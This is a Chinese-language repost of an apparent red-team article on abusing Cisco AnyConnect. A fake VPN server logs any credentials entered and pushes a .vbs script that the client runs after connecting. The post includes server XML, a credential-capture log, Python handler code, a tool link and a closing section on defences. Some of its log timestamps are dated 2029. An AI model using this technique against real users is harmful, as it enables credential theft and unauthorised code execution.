HVV技巧-利用 Cisco AnyConnect运行payloads

admin 2024年11月13日22:29:12评论12 views字数 8195阅读27分19秒阅读模式

HVV技巧-利用 Cisco AnyConnect运行payloads

多年来,Cisco AnyConnect 客户端受到了安全社区的大量安全测试,特别关注利用 vpnagent.exe 服务进行权限升级。前一段时间,我们开始研究 AnyConnect 是否可以用于在红队交战期间交付payloads,并且成功使用了该技术,公开该技术似乎是合适的。

工具发布可在以下位置找到:

https://github.com/nccgroup/DroppedConnection

居家办公

由于在家工作的增加,以及如何从他们的笔记本电脑建立 VPN 连接(或者至少知道与 VPN 连接相关的软件/图标),大多数用户都熟悉 VPN 的概念。这增加了使用与 VPN 相关的借口进行社会工程工作的成功几率——用户知道它是什么,并且可以被引导执行所需的操作,更重要的是,他们需要它以便他们可以继续远程工作。

VPN 提供的功能意味着我们可以假设在考虑作为payloads部署的载体时需要注意的几件事:

  • TLS VPN 连接不太可能强制通过代理,也不太可能在未连接到公司网络时实际访问公司代理——这意味着

    • 没有任何连接的代理日志

    • 没有基于分类的过滤

  • DNS 请求将由公共服务器解析,而不是目标的内部服务,减少遥测

  • 在重新建立合法的企业 VPN 连接之前,丢弃的payloads可能无法连接到命令和控制基础设施

AnyConnect 连接流程

通过提供完全限定的域名,从 vpnui.exe 进程启动一个新的 VPN 连接:

初始 TLS 握手完成后,VPN 服务器发送 XML 响应,详细说明 VPN 的名称和支持的身份验证方法。下面的示例显示了 VPN 名称 TEST-VPN 并且服务器需要用户名和密码:

<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="vpn" type="auth-request" aggregate-auth-version="2">
<opaque is-for="sg">
<tunnel-group>VPN</tunnel-group>
<aggauth-handle>864640002</aggauth-handle>
<auth-method>multiple-cert</auth-method>
<auth-method>single-sign-on</auth-method>
<group-alias>TEST-VPN</group-alias>
<config-hash>1517719014268</config-hash>
</opaque>
<auth id="main">
<form>
<input type="text" name="username" label="Username:"></input>
<input type="password" name="password" label="Password:"></input>
<select name="group_list" label="GROUP:">
<option selected="true">TEST-VPN</option>
</select>
</form>
</auth>
</config-auth>

此 XML 响应的内容决定了身份验证提示的外观,有两个主要选择:

  • vpnui.exe 进程中包含的用户名和密码窗口

  • 基于 Web 的 SAML 登录,使用 acwebhelper.exe 呈现

在这种情况下,我们将关注上面的 XML 将导致显示的标准用户名和密码窗口。

输入到此结果窗口中的凭据将在 POST 请求的正文中发送到 VPN 服务器。假设身份验证成功,响应包含与以下相关的信息:

  • 任何可用的软件升级

  • VPN 客户端随后应请求的配置文件

  • 任何自定义,例如徽标、区域设置或连接后脚本

下面是此 XML 的示例:

<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="vpn" type="complete" aggregate-auth-version="2">
<session-id>101111</session-id>
<session-token>AAAAAA@BBBBBB@CCCC@DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD</session-token>
<auth id="success">
<message id="0" param1="" param2=""></message>
</auth>
<capabilities>
<crypto-supported>ssl-dhe</crypto-supported>
</capabilities>
<config client="vpn" type="private">
<vpn-base-config>
<base-package-uri>/CACHE/stc/1</base-package-uri>
<server-cert-hash>###SERVERCERT###</server-cert-hash>
</vpn-base-config>
<opaque is-for="vpn-client"><service-profile-manifest>
<ServiceProfiles rev="1.0">
<Profile service-type="user">
<FileName></FileName>
<FileExtension>xml</FileExtension>
<Directory></Directory>
<DeployDirectory></DeployDirectory>
<Description>AnyConnect VPN Profile</Description>
<DownloadRemoveEmpty>false</DownloadRemoveEmpty>
</Profile>
<---REMOVED--->
</ServiceProfiles>
</service-profile-manifest>
<vpn-client-pkg-version>
<pkgversion>4,9,04053</pkgversion>
</vpn-client-pkg-version>
<vpn-core-manifest>
<vpn rev="1.0">
<file version="4.9.04053" id="VPNCore" is_core="yes" type="msi" action="install" os="win:6.1.7601">
<uri>binaries/anyconnect-win-4.9.04053-core-vpn-webdeploy-k9.msi</uri>
<display-name>AnyConnect Secure Mobility Client</display-name>
</file>
<---REMOVED--->
</vpn>
</vpn-core-manifest>
</opaque>
<vpn-profile-manifest>
<vpn rev="1.0">
<file type="profile" service-type="user">
<uri>/CACHE/stc/profiles/profile_test.xml</uri>
<hash type="sha1">###PROFILEHASH###</hash>
</file>
</vpn>
</vpn-profile-manifest>
<vpn-customization-manifest>
<vpn rev="1.0">
<file app="AnyConnect" platform="win" type="binary">
<filename>scripts_OnDisconnect.vbs</filename>
<hash type="sha1">###VBSHASH###</hash>
<file app="AnyConnect" platform="win" type="binary">
<filename>scripts_OnConnect.vbs</filename>
<hash type="sha1">###VBSHASHTWO###</hash>
</file>
</file>
</vpn>
</vpn-customization-manifest>
</config>
</config-auth>

自定义部分中引用的 .vbs 文件在交付此 XML 后下载,然后在成功建立连接后作为经过身份验证的用户执行,然后分别终止。可用的文件类型不限于 .vbs,但这(连同 .bat)似乎是最常用的。

最后,引用的配置文件由 VPN 客户端请求并由服务器返回。这也有一个 XML 结构,并确定应该为连接启用哪些可用性和安全功能。这一点很重要,因为它允许覆盖用户的常规 VPN 配置文件施加的任何限制,例如允许脚本执行。

所以我们可以从中得到的是 VPN 服务器能够在任何连接的客户端上执行任意代码,这听起来像是对初始访问环境有用的东西。

我们不能只使用 ASA 吗?

使用合法的 Cisco ASA 对 AnyConnect 客户端和 VPN 服务器之间的初始通信进行了研究。理论上,可以在云提供商中启动一个 ASA 实例并为连接到它的任何用户提供脚本,尽管这有一些明显的缺点:

  • 需要将特定的用户名和密码发送到目标,以便他们完成连接

  • 该过程将无法捕获用户的凭据。

  • 提供的脚本名称由 ASA 自动修改

考虑到这一点,旧的 Python Web 服务器脚本被除尘并修改以响应 AnyConnect 客户端期望的一系列请求。初步结果很有希望,表明捕获用户名和密码是微不足道的。

Sending INIT
192.168.1.30 - - [11/Jul/2029 13:37:37] "POST / HTTP/1.1" 200 -
Unknown request
2029-07-11 13:37:59.378749 :
=====================
User: vpnuser
Password: mypassword
=====================
Sending auth reply

中继还是非中继

假设用户输入了正确的凭据,然后您可以将这些凭据手动中继到端点,或者使用 vpncli.exe 或 OpenConnect 自动连接。或者,如果它是域凭据,您可以保存凭据供以后使用。

如果成功,您刚刚通过主机获得了 VPN 会话,您已经预先配置了所需的所有工具,而无需担心目标蓝队在实例中拥有的任何主机遥测源信标,也不必担心 C2 流量被检测到或不离开网络。

但是,有许多因素可能会阻止凭据中继成功:

  • 如果目标/客户端正在使用机器证书——您将无法获得 VPN 访问权限

  • 可能正在执行状态检查内容,如果您不知道正在检查什么,您将不会被允许访问,至少在您第一次尝试连接时是这样。

  • AnyConnect 向 ASA 以及版本触发唯一的设备 ID 和主机名,因此如果正在执行任何警报,您的配置可能不匹配(尽管您可以做一些工作来模仿/中继该内容)。

  • 如果不允许同时登录,则合法用户将无法登录,这可能会导致一些噪音(呼叫服务台),从而导致检测触发

OnConnect/OnDisconnect – 获取代码执行

扩展脚本以继续使用有效配置文件和支持脚本文件响应 VPN 客户端的请求似乎是合乎逻辑的,同时自动生成客户端用来检查配置文件和 .vbs 是否正确的各种文件哈希值文件在传输过程中没有被修改。

尝试针对修改后的脚本建立连接显示了对配置文件中引用的 OnDisconnect.vbs 文件的请求。

Sending INIT
192.168.1.30 - - [11/Jul/2029 13:37:37] "POST / HTTP/1.1" 200 -
Unknown request
2029-07-11 13:37:59.378749 :
=====================
User: vpnuser
Password: mypassword
=====================
Sending auth reply
Replacing certificate thumbprint with: 273E4E1B10E0489D8762EAD30C088185DDB0B16B
Replacing profile hash with: 32E35124209FF5014768600B0F7375D61069C39D
Replacing VBS hash with: 249898741379D651195EA32993B227D933C46ECB
/+CSCOT+/oem-customization?app=AnyConnect type=oem platform=win resource-type=binary name=scripts_OnDisconnect.vbs

但是,连接没有完成,脚本也从未被调用过。流量检查显示 VPN 客户端正在发送脚本未配置为回复的 HTTP CONNECT 请求。以合法连接作为参考,引入了 CONNECT 谓词的处理程序。

def do_CONNECT(self):
print "Handling CONNECT for " + self.path
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
if self._connect_to("127.0.0.1:9999", soc):
self.wfile.write("HTTP/1.1 200 OKrn")
self.wfile.write("X-CSTP-Version: 1rn")
self.wfile.write("X-CSTP-Protocol: Copyright (c) 2004 Cisco Systems, Inc.rn")
self.wfile.write("X-CSTP-Address: 192.168.1.128rn")
self.wfile.write("X-CSTP-Netmask: 255.255.255.0rn")
self.wfile.write("X-CSTP-Hostname: 192.168.1.159rn")
self.wfile.write("X-CSTP-Lease-Duration: 1209600rn")
self.wfile.write("X-CSTP-Session-Timeout: nonern")
self.wfile.write("X-CSTP-Session-Timeout-Alert-Interval: 60rn")
self.wfile.write("X-CSTP-Session-Timeout-Remaining: nonern")
self.wfile.write("X-CSTP-Idle-Timeout: 1800rn")
self.wfile.write("X-CSTP-DNS: 8.8.8.8rn")
self.wfile.write("X-CSTP-Disconnected-Timeout: 1800rn")
self.wfile.write("X-CSTP-Split-Include: 192.168.59.0/255.255.255.0rn")
self.wfile.write("X-CSTP-Keep: falsern")
self.wfile.write("X-CSTP-Tunnel-All-DNS: falsern")
self.wfile.write("X-CSTP-DPD: 30rn")
self.wfile.write("X-CSTP-Keepalive: 20rn")
self.wfile.write("X-CSTP-MSIE-Proxy-Lockdown: falsern")
self.wfile.write("X-CSTP-Smartcard-Removal-Disconnect: truern")
self.wfile.write("X-DTLS-Session-ID: 456F8991F6A915202E1EF2BCE7DC22F2C6791C806311F7CC93E551E97DC1222Drn")
self.wfile.write("X-DTLS-Port: 80rn")
self.wfile.write("X-DTLS-Keepalive: 20rn")
self.wfile.write("X-DTLS-DPD: 30rn")
self.wfile.write("X-CSTP-MTU: 1367rn")
self.wfile.write("X-DTLS-MTU: 1390rn")
self.wfile.write("X-DTLS12-CipherSuite: ECDHE-RSA-AES256-GCM-SHA384rn")
self.wfile.write("X-CSTP-Routing-Filtering-Ignore: falsern")
self.wfile.write("X-CSTP-Quarantine: falsern")
self.wfile.write("X-CSTP-Disable-Always-On-VPN: falsern")
self.wfile.write("X-CSTP-Client-Bypass-Protocol: falsern")
self.wfile.write("X-CSTP-TCP-Keepalive: false")
self.end_headers()
self.wfile.write("rn")
self._read_write(soc, 300)
finally:
soc.close()
self.connection.close()

为了提供一些尝试连接的东西,还打开了一个基本套接字:

def loopbacksocket():
socksize = 1024
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("127.0.0.1",9999))
sock.listen(1)
print "Started loopback listener for CONNECT"

while True:
print("Now listening...n")
conn, addr = sock.accept()
print 'New connection from %s:%d' % (addr[0], addr[1])
data = conn.recv(socksize)
conn.close()

重新尝试连接显示 VPN 客户端短暂显示“已连接”状态,然后立即断开连接,这段时间足以生成 wscript.exe 进程并运行我们的 .vbs 文件。

VBS 文件的内容是一个单独的练习。如前所述,执行是在经过身份验证的用户的上下文中进行的,但除非延迟或进行额外检查,否则代码很可能会在目标连接回其正常 VPN 之前运行。

总而言之,我们最终得到的是一个 VPN 端点,它将接受任何凭据,记录它们,然后提供一个在经过身份验证的用户的上下文中运行的脚本文件。

https://github.com/nccgroup/DroppedConnection

如何防御

当然,展示如何预防或检测这种攻击很重要。

防止替代 VPN 端点

如果用户通常只连接到一个 VPN 终结点,则可以通过在配置文件中指定以下设置来删除手动指定替代选项的选项:

<AllowManualHostInput>false</AllowManualHostInput>

强大的 AppLocker 策略

严格的 AppLocker 策略是对任何环境的重要补充。在上述配置中,.vbs 脚本是通过 wscript.exe 进程启动的;如果这已被 AppLocker 阻止,代码执行将失败。值得注意的是 AnyConnect 将执行各种不同的文件格式,因此建议阻止未知的可执行文件或常见的 LOLBIN。

基于主机/进程的防火墙

同样,值得一般性建议,但在这种情况下,它可用于阻止从以下进程到预期 VPN 端点以外的任何连接:

  • vpnui.exe

  • vpn下载器.exe

  • acwebhelper.exe

  • vpnagent.exe

原文始发于微信公众号(军机故阁):HVV技巧-利用 Cisco AnyConnect运行payloads

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月13日22:29:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HVV技巧-利用 Cisco AnyConnect运行payloadshttps://cn-sec.com/archives/1650930.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息